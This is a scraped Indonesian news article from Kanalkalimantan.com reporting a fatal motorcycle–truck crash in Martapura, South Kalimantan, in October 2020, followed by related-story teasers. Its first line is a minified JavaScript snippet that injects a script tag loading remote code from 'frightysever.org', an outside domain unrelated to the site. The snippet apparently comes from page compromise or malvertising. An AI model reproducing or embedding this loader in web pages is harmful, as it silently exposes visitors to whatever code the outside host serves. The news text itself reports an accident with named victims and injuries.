(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kecelakan maut yang terjadi di Jalan A Yani Km 38,950 Kelurahan Keraton, Kecamatan Martapura Kota, Kabupaten Banjar di depan Komplek Pangeran Antasari (Kompas), menyebabkan satu perempuan meninggal dunia, Selasa (27/10/2020) sore.
Diketahui korban ada dua orang merupakan pasangan suami istri, yakni Gazali Rahman (51) dengan Herlinawaty (51), merupakan warga jalan Danau Terati nomor 07 RT 01, Desa Tangga Ulin Hulu, Kecamatan Amuntai Tengah, Kabupaten Hulu Sungai Utara.
Kapolres Banjar AKBP Andri Koko Prabowo melalui Kanit Laka Lantas Polres Banjar Ipda Alfian Noor mengatakan, sebuah sepeda motor Suzuki Shogun Nopol DA 4211 FR yang kendarai oleh Gazali Rahman (51) berboncengan dengan istrinya Herlinawaty (51) datang dari arah Banjarbaru menuju Hulu Sungai.
“Saat itu sepeda motor yang dikendarai Gazali berada pada jalur kiri. Ketika melewati jalan bergelombang, sepeda motor tersebut mengalami slip dan terjatuh ke kanan jalan,” kata Ipda Alfian Noor kepada Kanalkalimantan.com, Selasa (27/10/2020) malam.
Lebih lanjut ia juga menjelaskan, akibat kejadian itu pengendara dan penumpangnya tertabrak oleh mobil truk Mitsubishi Fuso dengan nomor polisi DA 8209 HF yang dikemudikan oleh Arif Rahman yang berada di lajur kanan. Setelah slip sepeda motor pasautri itu mengenai ban belakang sebelah kiri truk Fuso yang datang dari arah Banjarbaru menuju arah Hulu Sungai (searah).
Pengemudi mobil truk Mitsubishi Fuso sempat melarikan diri, petugas kepolisian melakukan pengejaran dan berhasil dicegat di depan rumah makan H Fauzan.
“Kita langsung melakukan pengejaran terhadap mobil tersebut, dan berhasil kita cegat di depan rumah makan H Fauzan,” katanya.
Korban Gazali Rahman mengalami luka yang cukup serius, dan dilarikan ke RSUD Ratu Zalecha guna dilakukan perawatan lebih lanjut.
“Untuk korban Gazali Rahman mengalami luka pada bagian dahi sebelah kanan benjol, tangan sebelah kanan patah, pipi kanan lecet kaki kanan lecet dan dibawa ke RSUD Ratu Zalecha Martapura,” ungkapnya.
Sedangkan Herlinawaty mengalami luka yang cukup parah, sehingga menyebabkan dia menginggal dunia saat dalam perjalanan menuju RSUD Ratu Zalecha.
“Korban Herlinawaty mengalami luka pada tangan kanan patah terbuka, mulut, hidung keluar darah, meninggal dunia dalam perjalanan menuju ke RSUD Ratu Zalecha,” ungkapnya.
Pantuan Kanalkalimantan.com, di grup emergency untuk jenazah Herlinawaty diantar menggunakan unit EBR (Emergency Banjar Response) ke rumah duka di Amuntai. (kanalkalimantan.com/wahyu)
Reporter: Wahyu
Editor: Cell
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.